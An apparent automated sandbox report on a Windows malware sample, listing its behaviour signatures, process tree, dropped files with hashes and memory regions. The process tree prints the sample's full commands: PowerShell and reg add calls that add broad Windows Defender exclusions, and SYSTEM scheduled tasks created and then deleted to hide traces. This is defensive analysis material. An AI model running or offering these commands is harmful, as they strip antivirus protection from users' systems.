Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 14:02

General

  • Target
    install.2.0.06.exe
  • Size 30.5MB
  • Sample261024-rb57sab19k
  • SHA256 c8c4759bd34f88fcb497ab4cb22b0dcb3d220a8c033b1f123c772dd737798556
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:2064
  • C:\Users\Public\CvqObI\honHwM.exe
    "C:\Users\Public\CvqObI\honHwM.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3180
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CvqObI\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1916
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\CvqObI\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1660
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3780
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2400
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5248
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6108
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:776
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2140
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1544
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4480
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:980
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5716
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1292
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1240
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5204
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4608
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4852
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1528
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4772
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5568
                        • C:\Program Files (x86)\spSX8Q\spSX8Q.exe
                          "C:\Program Files (x86)\spSX8Q\spSX8Q.exe"
                          2⤵
                            PID:1556
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CvqObI" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2896
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CvqObI" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4496
                        • C:\Users\Public\CvqObI\honHwM.exe
                          "C:\Users\Public\CvqObI\honHwM.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:6060
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:2584
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3804
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2912
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4720
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4684
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4632
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4668

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\spSX8Q\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 418301818fa0100f0780467a4df838b6dbe7aca19848b2237a598536af270330
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\spSX8Q\image.png
                                • Size 4.8MB
                                • SHA256 7f0bd654346ee77da0e969af3442c95b53b902fa7429236a74799008eabca993
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                spSX8Q.exe

                                • Path C:\Program Files (x86)\spSX8Q\spSX8Q.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                thumbs.db

                                • Path C:\Program Files (x86)\spSX8Q\thumbs.db
                                • Size 358KB
                                • SHA256 ac6093fa1dd5653ec56081763fe3f589d8cdb70f947e25d47beef56a2eda5f8d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 1a1951a1b08d8df866cfd7d12096ab2bc6416d153ed6635909c2739b2bae8edf
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 140ddad6346ab9e2215d6852a87a1674567d4881fab6f2e5c3507fb9cfc7f18c
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 256c1d7a64f3939954aac9232bcff541d91e5b59677c720d4b3938952a11e0ce
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 826c6ead360064a536eca1ac8a90f18a50aa86e82a8cedaa6ff690817502e7e5
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_dg3nxpqw.2tq.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dg3nxpqw.2tq.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\CvqObI\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 bad1df2d2eb8b7d08dc25ede90c03563dc28a485e6314c6e353b9eea81225394
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\CvqObI\adoresd.dat
                                • Size 4.8MB
                                • SHA256 dd68588e6465212e5ab797f6e6d19c56bb669c19b8dd3fee03c6959ed2ab57e4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                honHwM.exe

                                • Path C:\Users\Public\CvqObI\honHwM.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\CvqObI\msadox.tb
                                • Size 8KB
                                • SHA256 444236151ff309e650a50fe560f5e1f6e5a50f78e07f5bec5fb4ae12c6ab46f1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/1080-539-0x0000020E4AC20000-0x0000020E4B4F7000-memory.dmp

                                memory/1080-536-0x0000020E4AC20000-0x0000020E4B4F7000-memory.dmp

                                memory/1080-543-0x0000020E4AC20000-0x0000020E4B4F7000-memory.dmp

                                memory/1080-545-0x0000020E4AC20000-0x0000020E4B4F7000-memory.dmp

                                memory/1080-544-0x0000020E4AC20000-0x0000020E4B4F7000-memory.dmp

                                memory/1080-546-0x0000020E4AC20000-0x0000020E4B4F7000-memory.dmp

                                memory/1080-550-0x0000020E4AC20000-0x0000020E4B4F7000-memory.dmp

                                memory/1080-561-0x0000020E4BAB0000-0x0000020E4BB3A000-memory.dmp

                                memory/1080-562-0x0000020E4BAB0000-0x0000020E4BB3A000-memory.dmp

                                memory/1080-560-0x0000020E4BAB0000-0x0000020E4BB3A000-memory.dmp

                                memory/1080-559-0x0000020E4BAB0000-0x0000020E4BB3A000-memory.dmp

                                memory/1080-558-0x0000020E4B9D0000-0x0000020E4BA1E000-memory.dmp

                                memory/1080-556-0x0000020E4AC20000-0x0000020E4B4F7000-memory.dmp

                                memory/1080-566-0x0000020E4AC20000-0x0000020E4B4F7000-memory.dmp

                                memory/1080-538-0x00007FFBABA20000-0x00007FFBABA22000-memory.dmp

                                memory/1080-530-0x00007FFBABA10000-0x00007FFBABA12000-memory.dmp

                                memory/1080-531-0x00007FFB8AC30000-0x00007FFB8B14E000-memory.dmp

                                memory/1556-679-0x0000000003A80000-0x000000000425D000-memory.dmp

                                memory/1556-693-0x0000000002F70000-0x0000000002F84000-memory.dmp

                                memory/1556-683-0x0000000003A80000-0x000000000425D000-memory.dmp

                                memory/1556-686-0x0000000003A80000-0x000000000425D000-memory.dmp

                                memory/1556-681-0x0000000002F60000-0x0000000002F61000-memory.dmp

                                memory/1556-675-0x0000000075250000-0x000000007599A000-memory.dmp

                                memory/1556-674-0x0000000001920000-0x0000000001921000-memory.dmp

                                memory/2064-1-0x0000000002720000-0x000000000272E000-memory.dmp

                                memory/2064-0-0x0000000002720000-0x000000000272E000-memory.dmp

                                memory/2064-2-0x0000000002730000-0x000000000273C000-memory.dmp

                                memory/2064-504-0x00007FFB9CC20000-0x00007FFB9CC32000-memory.dmp

                                memory/2064-524-0x0000000002720000-0x000000000272E000-memory.dmp

                                memory/2064-525-0x00007FFB9CC20000-0x00007FFB9CC32000-memory.dmp

                                memory/3180-605-0x0000027553950000-0x000002755395A000-memory.dmp

                                memory/3180-604-0x0000027553A80000-0x0000027553B32000-memory.dmp

                                memory/3180-603-0x0000027553930000-0x000002755394E000-memory.dmp

                                memory/3180-600-0x00000275538D0000-0x00000275538F2000-memory.dmp

                                memory/6060-590-0x0000025716360000-0x0000025716C37000-memory.dmp

                                memory/6060-589-0x0000025716360000-0x0000025716C37000-memory.dmp

                                memory/6060-591-0x0000025716360000-0x0000025716C37000-memory.dmp

                                memory/6060-592-0x0000025716360000-0x0000025716C37000-memory.dmp

                                memory/6060-593-0x00007FFBABA10000-0x00007FFBABA12000-memory.dmp

                                memory/6060-586-0x0000025716360000-0x0000025716C37000-memory.dmp

                                memory/6060-584-0x00007FFBABA20000-0x00007FFBABA22000-memory.dmp

                                memory/6060-580-0x0000025716360000-0x0000025716C37000-memory.dmp

                                memory/6060-577-0x00007FFB8AC30000-0x00007FFB8B14E000-memory.dmp